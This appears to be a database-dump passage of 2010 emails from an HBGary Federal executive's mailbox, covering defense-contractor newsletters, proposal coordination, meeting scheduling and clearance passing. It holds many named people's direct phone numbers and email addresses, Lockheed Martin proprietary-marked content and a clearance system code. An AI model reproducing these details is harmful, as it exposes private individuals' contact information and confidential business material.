\r\nSAIC Books Pair of Deals\r\nGeneral\r\n Dynamics, Northrop Grumman, Lockheed Martin Pick Up DoD Deals, Booz Allen Turns\r\n Two\r\nVersar, Boeing\r\n Ink DoD Contracts, BAE Systems Wins Pair\r\nRaytheon Picks\r\n Up Major Contract; ITT, IAP, Honeywell Also Win Deals\r\nLockheed,\r\n Raytheon Team Up for Missile Defense DealHarris Names\r\n Ted Hengst CIO\r\nUSIS CEO Bill\r\n Mixon Joins Board at Christopher Newport University\'s Center for American\r\n StudiesClick Here for More\r\n GovConwireCourt Rejects Warrantless GPS\r\n Tracking\r\niPhone Cracking\r\n Software Retrieves Passwords\r\nKorea Looks to\r\n Place Cybersecurity on G20 Agenda\r\nCommerce Looks\r\n for Comments on Cybersecurity and Innovation\r\n Impact\r\nHack Exploits\r\n Google Street View to Find Victims\r\n Click Here for More\r\n from The New New\r\n Internet\r\n \r\n\r\n\r\nMike Kahn\r\n to Lead ATK\'s Missile Products Group\r\nHarris Names\r\n Ted Hengst Corporate VP, CIO\r\nWorld\'s Most\r\n Influential Cybersecurity Organizations\r\nLockheed Martin\r\n Releases Source Code to Social-Networking Platform\r\nNeustar\'s\r\n Rodney Joffe on Mariposa Arrests\r\nClick Here for More\r\n from GovCon Executive\r\n CDT\'s Schwartz to Join NIST as Internet Policy Adviser\r\n \r\nFBI\r\n Director: No One Entity Can Stop Cyber\r\n Crime\r\nDARPA Taps\r\n Young Researchers for Innovation in DoD-Related\r\n Areas\r\nSenate Confirms\r\n Mattis as Head of Central\r\n Command\r\nClapper\r\n Confirmed as Director of National Intelligence\r\n \r\n&nbsp;\r\nClick Here for More\r\n from ExecutiveGov\r\n \r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\nSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpace\r\n\r\n\r\n\r\n\r\n\r\nAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From mapping and CAD, to\r\n imagery and globes, all can be purchased at a press of a button for all your\r\n government projects. The portal features special pricing around Autodesk\'s\r\n Master Government Reseller software solutions including AutoCAD, Map 3D, Civil 3D\r\n plus many more. Google Earth and GeoEye Imagery solutions are available\r\n too.Prefer to speak to a representative directly? DLT has a team of\r\n experienced representatives to help. With over 19 years of working closely with\r\n federal, state and local governments, we can help you make the best purchasing\r\n decisions.&nbsp;For Autodesk products, call 888.447.2223 or send a\r\n message to ag@dlt.com&nbsp;For\r\n Geospatial products, call 877.385.3581 or send a message to gds@dlt.com.\r\n\r\n\r\n\r\n \r\n\r\nExecutive Spotlight: Alex Miller of L-3Alex\r\n Miller is a retired Navy cryptologic officer, who spent more than 33 years in the\r\n Navy. He retired in 2005 as a rear admiral while serving as the chief of staff at\r\n the National Security Agency. He joined Titan Corporation, which was subsequently\r\n bought by L-3 Corporation where he now serves as senior vice president and general\r\n manager of the Intelligence Systems Business Unit. Miller is responsible for\r\n business within the intelligence sector, primarily the national intelligence\r\n agencies, and for some Army and Navy classified business. \"I respect tremendously\r\n the business environment, the people in it, and how hard they work to serve their\r\n customers,\" he told TheNewNewInternet. \"It\'s most impressive.\" Click here to read\r\n more Executive Spotlight: Joe Moye of\r\n CapgeminiJoe Moye is the chief executive officer of Capgemini Government\r\n Solutions.&nbsp; He spoke with ExecutiveBiz about his firm, the market and shared\r\n his advice for rising professionals.&nbsp;Click here to read\r\n more Executive Spotlight:&nbsp;Teresa\r\n Weipert of AccentureTeresa \"Terry\" Weipert serves as a partner at Accenture with a focus\r\n in information technology.&nbsp; She spoke with ExecutiveBiz about her firm,\r\n buyer-provider relations and outsourcing.\r\n Click here to read\r\n moreHarris Names John Heller Head of IT\r\n ServicesHarris Corporation (NYSE:HRS) named John\r\n Heller president of its IT Services business, reporting to Daniel R. Pearson,\r\n chief operating officer (COO). Click here to read more\r\n\r\nA Letter from the EditorThrough our weekly emagazine and daily blog, ExecutiveBiz offers our readership an insider\'s\r\n view of news and trends shaping small, medium, and large companies within\r\n industries such as defense, technology, and health care.&nbsp; In addition to our\r\n daily blog, we\'ve launched four new media properties, GovConWire, GovConExecutive, ExecutiveGov, and TheNewNewInternet. Each week, we deliver in-depth profiles of\r\n industry leaders, candid Q&As, plus the latest news and trends, and value-add\r\n information to help you do your job better.&nbsp; You\'re a big part of the\r\n equation both online and off &#8212; which is why we want to hear from you. Have a\r\n story tip? Or an idea for a speaking event? Feel free to contact me direct. You\r\n can also follow us on Twitter, Facebook, and LinkedIn.\r\n\r\nJ.D. KathuriaEditor-in-chief ExecutiveBizo: 703-226-7010&nbsp;\r\n &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n \r\n\r\n\r\n\r\n\r\nExecutiveBiz, 8230 Old\r\n Courthouse RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',8415,'aaron_hbgary_com/8415.html'),(10173,'2010-08-12','\"Curtis, Colleen A\" <colleen.a.curtis@lmco.com>','/aaron@hbgary.com/new/1297007905.M384681P14101Q5028.eml',',,,','FW: UNO - Abukir Bay Task Order Announcement  -  LOCKHEED MARTIN PROPRIETARY INFORMATION - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Morning, \r\n&nbsp;\r\n\r\nPlease\r\nfind attached, the Abukir Bay Task Order Unclassified announcement and Initial\r\nSecurity Information attachment. \r\n&nbsp;\r\n\r\nThank\r\nyou, \r\n\r\n&nbsp;\r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7203,'aaron_hbgary_com/7203.html'),(10174,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007905.M965286P14101Q5029.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: UNO - Abukir Bay Task Order Announcement - LOCKHEED MARTIN 	PROPRIETARY INFORMATION - Lockheed Martin Proprietary Information','Sent from my iPadBegin forwarded message:From: &quot;Curtis, Colleen A&quot; &lt;colleen.a.curtis@lmco.com&gt;\r\nDate: August 12, 2010 11:14:46 AM EDTCc: &quot;Racz, James M&quot; &lt;james.m.racz@lmco.com&gt;, &quot;Mai, Richard E&quot; &lt;richard.e.mai@lmco.com&gt;, &quot;Watson, Charles M&quot; &lt;charles.m.watson@lmco.com&gt;, &quot;Staley, Ryan E&quot; &lt;ryan.e.staley@lmco.com&gt;\r\nSubject: FW: UNO - Abukir Bay Task Order Announcement  -  LOCKHEED MARTIN PROPRIETARY INFORMATION - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nGood Morning, \r\n \r\n\r\nPlease\r\nfind attached, the Abukir Bay Task Order Unclassified announcement and Initial\r\nSecurity Information attachment. \r\n \r\n\r\nThank\r\nyou, \r\n\r\n \r\n\r\nColleen A. Curtis\r\n\r\nGlobal Supply Chain\r\nManagement\r\n\r\nSubcontract Administrator\r\n\r\nLockheed Martin\r\nInformation Systems &amp; Global Services\r\n\r\nPhone: 703-466-1307\r\n\r\nFAX: 703-466-1270\r\n\r\ne-mail: Colleen.a.curtis@lmco.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16135,'aaron_hbgary_com/16135.html'),(10175,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007906.M186564P14101Q5030.eml','\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>','Fwd: Meesage from Dawn Meyerriecks','Sent from my iPadBegin forwarded message:From: &lt;paula.bucher@dni.gov&gt;\r\nDate: August 12, 2010 9:01:41 AM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Meesage from Dawn Meyerriecks\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nDawn asked me to pass this message to you.\r\n\r\nThe information has been passed to the Deputy Dir of NSA and\r\nsomeone will be contacting you.\r\n\r\n \r\n\r\nPaula H Bucher \r\n\r\nExecutive\r\nAssistant for the\r\n\r\nDDNI Acquisition\r\nand Technology \r\n\r\n703-275-3240\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9109,'aaron_hbgary_com/9109.html'),(10176,'2010-08-12','\"Nicole Kaboli\" <nicole@executivebiz.com>','/aaron@hbgary.com/new/1297007906.M429939P14101Q5031.eml','','Pending RSVP-ExecutiveBiz 4x24 Dinner (Group 11)-Sept. 29, 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear 4x24 Member,\r\n\r\n&nbsp;\r\n\r\nWhile looking over the calendar invitations for the dinner on\r\nSeptember 29, 2010, I noticed that you have not yet responded to the updated\r\nelectronic invitation that we sent regarding the announcement of the\r\nSpeaker.&nbsp;We just want to make sure that it is on your calendar and we hope\r\nthat you will be attending. Due to the fact that we are trying to secure a\r\ntracking process for our dinner attendance, If you could please respond to the\r\ncalendar invite it would be much appreciated. Thanks so much!! \r\n\r\n&nbsp;\r\n\r\nLooking forward to your response,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n(Please\r\nNote Nicole Kaboli is no longer with ExecutiveBiz)\r\n\r\nDanielle\r\n Stradford\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n8230\r\n  Old Courthouse Road, Suite 460\r\n\r\nVienna,\r\n VA 22182 \r\n\r\nPhone:\r\n703-226-7017\r\n\r\nFax:\r\n703-752-7454 \r\n\r\n&nbsp;\r\n\r\nP Please consider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15289,'aaron_hbgary_com/15289.html'),(10177,'2010-08-12','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007906.M640067P14101Q5032.eml','\"Vaziri-Zanjani, Ali\" <Vaziri-ZanjaniA@state.gov>,\"Vaziri-Zanjani, Ali\" <Vaziri-ZanjaniA@state.gov>','Re: HBGary meeting -- request to reschedule','Holy Cow that is crazy.  Any damage?\r\n \r\nI&#39;ll be out next week at the GFIRST conference -- let me know a better time after that..\r\n \r\n \r\nOn Thu, Aug 12, 2010 at 8:41 AM, Vaziri-Zanjani, Ali &lt;Vaziri-ZanjaniA@state.gov&gt; wrote:\r\n\r\n\r\n\r\nThat is fine.. Me 2. My house this morning got struck with lightning. Crazy day. \r\n \r\nAl Vaziri\r\nSecurity Tools Architect\r\nNetwork Monitoring Center; DS/SI/CS/ESS\r\nDepartment of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20\r\nPhone: 571-345-2578 @ SA-20\r\nE-Mail: Vaziri-ZanjaniA@State.gov\r\n \r\nü Please consider the environment before printing this e-mail.\r\n\r\n \r\nCLASSIFICATION: UNCLASSIFIED\r\nThis e-mail is unclassified based on the definition provided in E.O. 13292\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, August 11, 2010 8:20 PM\r\nTo: Vaziri-Zanjani, AliSubject: HBGary meeting -- request to reschedule\r\n\r\n\r\n\r\n \r\n\r\nHi Al\r\n\r\n \r\n\r\nUnfortunately, we will have to reschedule tomorrow&#39;s meeting.  We had a last minute emergency and cannot make\r\n\r\nour commitment.\r\n\r\n \r\n\r\nI apologize for the last minute cancellation, and hope that this is not a great inconvenience and that we can\r\n\r\nreschedule later in the month?\r\n\r\n \r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',15995,'aaron_hbgary_com/15995.html'),(10178,'2010-08-12','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007906.M922487P14101Q5033.eml','\"Aaron Barr\" <aaron@hbgary.com>','Items from discussion','\r\n\r\n\r\n\r\n\r\nItems from discussion\r\n\r\n\r\n\r\n\r\nNGIS civil guy supporting your TSA bid.\r\n\r\nInfo for the SCIF dinner meetings\r\n\r\n\r\n\r\nFor you:\r\n\r\nLook at \r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=90d105214abb3f77b77ebccefb92aff6&amp;tab=core&amp;_cview=0\r\n\r\nremember your large company friends if you can put something together.\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',2260,'aaron_hbgary_com/2260.html'),(10179,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007907.M226625P14101Q5034.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: UNO - Abukir Bay Task Order Announcement - LOCKHEED MARTIN PROPRIETARY INFORMATION - Lockheed Martin Proprietary Information','nah...\r\n\r\nOn Thu, Aug 12, 2010 at 9:26 AM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPad\r\n> Begin forwarded message:\r\n>\r\n> From: \"Curtis, Colleen A\" \r\n> Date: August 12, 2010 11:14:46 AM EDT\r\n> Cc: \"Racz, James M\" , \"Mai, Richard E\"\r\n> , \"Watson, Charles M\" ,\r\n> \"Staley, Ryan E\" \r\n> Subject: FW: UNO - Abukir Bay Task Order Announcement  -  LOCKHEED MARTIN\r\n> PROPRIETARY INFORMATION - Lockheed Martin Proprietary Information\r\n>\r\n> Lockheed Martin Proprietary Information\r\n> Proprietary information owned by Lockheed Martin that requires protection\r\n> from unauthorized disclosure. Access is restricted to employees, and\r\n> authorized individuals who have executed nondisclosure agreements or who are\r\n> otherwise legally bound by confidentiality obligations to Lockheed Martin.\r\n>\r\n> .\r\n> .\r\n> .\r\n> Message Start:\r\n> -----------------------\r\n>\r\n> Good Morning,\r\n>\r\n> Please find attached, the Abukir Bay Task Order Unclassified announcement\r\n> and Initial Security Information attachment.\r\n>\r\n> Thank you,\r\n>\r\n>\r\n>\r\n> Colleen A. Curtis\r\n>\r\n> Global Supply Chain Management\r\n>\r\n> Subcontract Administrator\r\n>\r\n> Lockheed Martin Information Systems & Global Services\r\n>\r\n> Phone: 703-466-1307\r\n>\r\n> FAX: 703-466-1270\r\n>\r\n> e-mail: Colleen.a.curtis@lmco.com\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1084,'aaron_hbgary_com/1084.html'),(10180,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007907.M474268P14101Q5035.eml','\"Dana.Briggs@ManTech.com\" <Dana.Briggs@mantech.com>','Follow opportunity discussions','Dana,\r\n\r\nCan you set something up with Bill and Tiffany for next Thursday to\r\ncontinue our discussions?\r\n\r\nThank You,\r\nAaron\r\n\r\nSent from my iPhone\r\n',15655,'aaron_hbgary_com/15655.html'),(10181,'2010-08-12','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297007907.M685492P14101Q5036.eml','aaron@hbgary.com','Re: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\nRe: Discuss new business opportunities?\r\n\r\n\r\n\r\n\r\nI am here at Greenberry\'s. Give me a call if you need to reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s catch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business opportunities? I’m at ICS now and working to expand their business development efforts. We just won a contract at MSC and we’re chasing several security opportunities across DOD, Civilian and IC. Let me know your schedule and let’s get together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3295,'aaron_hbgary_com/3295.html'),(10182,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007907.M883743P14101Q5037.eml','\"John Farrell\" <jfarrell@icscorp.com>','Re: Discuss new business opportunities?','Almost thereSent from my iPhoneOn Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI am here at Greenberry&#39;s. Give me a call if you need to reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let&#39;s catch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business opportunities? I’m at ICS now and working to expand their business development efforts. We just won a contract at MSC and we’re chasing several security opportunities across DOD, Civilian and IC. Let me know your schedule and let’s get together soon.\r\n\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4542,'aaron_hbgary_com/4542.html'),(10183,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007908.M148437P14101Q5038.eml','\"<paula.bucher@dni.gov>\" <paula.bucher@dni.gov>','Re: Meesage from Dawn Meyerriecks','Thank you.  Standing by.AaronSent from my iPhoneOn Aug 12, 2010, at 9:01 AM, &lt;paula.bucher@dni.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n \r\n\r\nDawn asked me to pass this message to you.\r\n\r\nThe information has been passed to the Deputy Dir of NSA and\r\nsomeone will be contacting you.\r\n\r\n \r\n\r\nPaula H Bucher \r\n\r\nExecutive\r\nAssistant for the\r\n\r\nDDNI Acquisition\r\nand Technology \r\n\r\n703-275-3240\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13130,'aaron_hbgary_com/13130.html'),(10184,'2010-08-12','\"Lukach, John\" <John.Lukach@bankofthewest.com>','/aaron@hbgary.com/new/1297007908.M379647P14101Q5039.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,','RE: hey','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Ted,\r\n\r\n&nbsp;\r\n\r\nWould Friday the 13th at 11 AM CST work for you?&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\nJohn B. Lukach\r\n\r\nInvestigation Engineer |&nbsp;EnCE EnCEP |&nbsp;Enterprise Information\r\nSecurity&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nT: (701) 298-5144 F: (701) 298-5101 |&nbsp;john.lukach@bankofthewest.com\r\n\r\n4321 20th\r\nAve. SW |&nbsp;Fargo, ND 58103\r\n\r\n&nbsp;\r\n\r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Wednesday, August 11, 2010 5:13 PM\r\nTo: Lukach, John\r\nCc: Ted Vera; Aaron Barr\r\nSubject: Re: hey\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed Vera will be contacting you about End Games.&nbsp; You\r\ncannot buy direct from End Games but we are reselling their service.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed will explain this to you and pricing....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you want to tell Ted when he can call you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Aug 11, 2010 at 2:54 PM, Lukach, John &lt;John.Lukach@bankofthewest.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nOh it is going &#8230; getting the last of the\r\neDiscovery pushed off my plate but the close out meeting keeps getting\r\npostponed. &nbsp;&nbsp;Malware is the number one priority now but they want it\r\nto be customer focused before internal which I have a few ideas for how to tie\r\nthis together for Active Defense.&nbsp; Did you ever find out more information\r\non end-games for us?&nbsp;&nbsp; I would like to see more technical details on\r\nhow the reports are compiled if that is possible?&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nSide note &#8211; do you know anything about\r\nwhat Sourcefire is doing with the new razor back and malware rule sets they\r\njust released?\r\n\r\n&nbsp;\r\n\r\nJohn\r\nB. Lukach\r\n\r\nInvestigation Engineer |&nbsp;EnCE EnCEP |&nbsp;Enterprise Information\r\nSecurity&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nT: (701) 298-5144 F: (701) 298-5101 |&nbsp;john.lukach@bankofthewest.com\r\n\r\n4321 20th Ave. SW |&nbsp;Fargo, ND 58103\r\n\r\n&nbsp;\r\n\r\nVisit us online at www.bankofthewest.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria\r\nLucas [mailto:maria@hbgary.com]\r\n\r\nSent: Wednesday, August 11, 2010 4:15 PM\r\nTo: Lukach, John\r\nSubject: hey\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow\'s\r\nit going John.&nbsp; I am finalizing a proposal and hopefully can call you\r\nsoon... what was the outcome of your meeting?\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This message is intended only for the addressee\r\nand may contain confidential, privileged information. If you are not the\r\nintended recipient, you may not use, copy or disclose any information contained\r\nin the message. If you have received this message in error, please notify the\r\nsender by reply e-mail and delete the message. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15783,'aaron_hbgary_com/15783.html'),(10185,'2010-08-12','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007908.M655272P14101Q5040.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow opportunity discussions','Aaron - Sure; Bill asked if this would be with or without Penny.  Please\r\nadvise and I will work schedules.  Thanks!  \r\n\r\nDana M. Briggs\r\nExecutive Assistant to\r\nL. William Varner, President\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171 \r\n(703) 674-2626 - phone\r\n(571) 485-2362 - e-fax\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 12:58 PM\r\nTo: Briggs, Dana M\r\nSubject: Follow opportunity discussions\r\n\r\nDana,\r\n\r\nCan you set something up with Bill and Tiffany for next Thursday to\r\ncontinue our discussions?\r\n\r\nThank You,\r\nAaron\r\n\r\nSent from my iPhone\r\n',13302,'aaron_hbgary_com/13302.html'),(10186,'2010-08-12','\"Stewart, Brad\" <Brad.Stewart@mantech.com>','/aaron@hbgary.com/new/1297007908.M926027P14101Q5041.eml','samuel.corbitt@siegetechnologies.com,aaron@hbgary.com,cholmes@telemussolutions.com,james.berman@inceptre.com,jason.syversen@siegetechnologies.com,kathyrondon@aol.com,barlow.katrina@gmail.com,nuhad.karaki@inceptre.com,obrienp@thebuffalogroup.com,ted@hbgary.com,samuel.corbitt@siegetechnologies.com,aaron@hbgary.com,cholmes@telemussolutions.com,james.berman@inceptre.com,jason.syversen@siegetechnologies.com','Gatorbait Team - Clearance Passing','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n&nbsp;\r\n\r\nWe are kicking off the Gatorbait\r\nproposal soon and I wanted to get some of the security details out of the\r\nway.&nbsp; I had requested contacts for your company and need you to pass your\r\nclearances over to us.&nbsp; We want to make these good until December 31, 2010\r\nso we are set for the entire effort.&nbsp; Please note that I will be\r\nunavailable for the next two weeks so please direct questions to either Justin\r\n(BD Representative) or Carey (Security Representative). \r\n\r\n&nbsp;\r\n\r\nWe are looking at having a team\r\nkickoff on or about August 19, 2010.&nbsp; You will receive an invite to this\r\nmeeting when the details are finalized from Justin Mentzer.\r\n\r\n&nbsp;\r\n\r\nInformation for passing\r\nclearances.\r\n\r\n&nbsp;\r\n\r\nIncoming Visit Certifications:\r\n\r\nAll visitors (non-ManTech\r\nemployees) must have their visit certification on file with ManTech Security no\r\nlater than two (2) business days prior to the meeting. Clearances may be\r\npassed\r\n\r\nvia:\r\n\r\nMail: ManTech International\r\n\r\nc/o Security\r\n\r\n7799 Leesburg Pike, Suite 700S\r\n\r\nFalls Church, VA 22043\r\n\r\n&nbsp;\r\n\r\nFAX: 703-847-0996 (U) \r\n\r\n703-847-0995 (S)\r\n\r\nJPAS: Use SMO Code 0C0P65 or\r\nanother government authorized system (see Security for details)\r\n\r\n&nbsp;\r\n\r\nYour security POC is Carey Seery\r\n(703) 610-9244\r\n\r\nYour BD POC is Justin Mentzer\r\n(703) &nbsp;388-2122\r\n\r\nYour line POC is Patrick Simpson\r\n(703) 377-2168\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nBrad\r\n\r\n&nbsp;\r\n\r\nBrad\r\nStewart, PMP\r\n\r\nCapture\r\nManagement\r\n\r\nManTech\r\nInternational Corporation\r\n\r\nMission\r\nCyber &amp; 